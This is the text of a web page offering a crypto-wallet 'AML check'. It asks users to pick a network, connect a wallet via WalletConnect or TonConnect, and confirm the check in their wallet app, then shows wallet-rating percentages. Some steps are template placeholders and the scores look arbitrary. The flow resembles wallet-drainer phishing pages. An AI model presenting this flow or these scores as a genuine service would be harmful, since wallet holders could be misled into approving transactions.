AML Check

Wallet check

Step 1 of 4

To continue, please select the required network

TRON (not working)

BNB

Binance Smart Chain (not working)

Ethereum

Connect wallet

Step 2 of 4

To continue, select and connect your wallet

TRON Network

Selected network

Not working

error

Connect wallet

Step 2 of 4

To continue, select and connect your wallet

USDT ERC-20

The selected network

WalletConnect

Connect wallet

Step 2 of 4

To continue, select and connect your wallet

USDT BEP-20

USDT BEP-20

The selected network

Not working

Connect wallet

Step 2 of 4

To continue, select and connect your wallet

USDT TON

USDT TON

The selected network

TonConnect

Step 2.5.1

Step 2.5.1

Content for step 2.5.1

Step 2.5.2

Step 2.5.2

Content for step 2.5.2

Connect wallet

Step 2 of 4

Return back to the your Wallet App and confirm AML check

Trust Wallet

WalletConnect

Connecting, please wait a while

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Step 2.5.4

Step 2.5.4

Content for step 2.5.4

Step 2.5.5

Step 2.5.5

Content for step 2.5.5

Step 3

Step 3 of 4

Content for step 3

Step 3.1

Step 3.1

Content for step 3.1

Step 3.2

Step 3.2

Content for step 3.2

Check in process

Step 3 of 4

We scrutinize your wallet thoroughly

25.38%

Rating scored from A to F, where A represents a clean wallet, and F represents a dirty wallet. The total rating is the average value between the indicators

Transaction diversity 21.47%

Wallet activity 52.99%

Transaction to/from CEX 32.1%

Avg. Transaction Value 50.74%

Wallet Age 39.8%

Suspicious transactions 63.68%

Transaction to High-Risk addresses 65.06%

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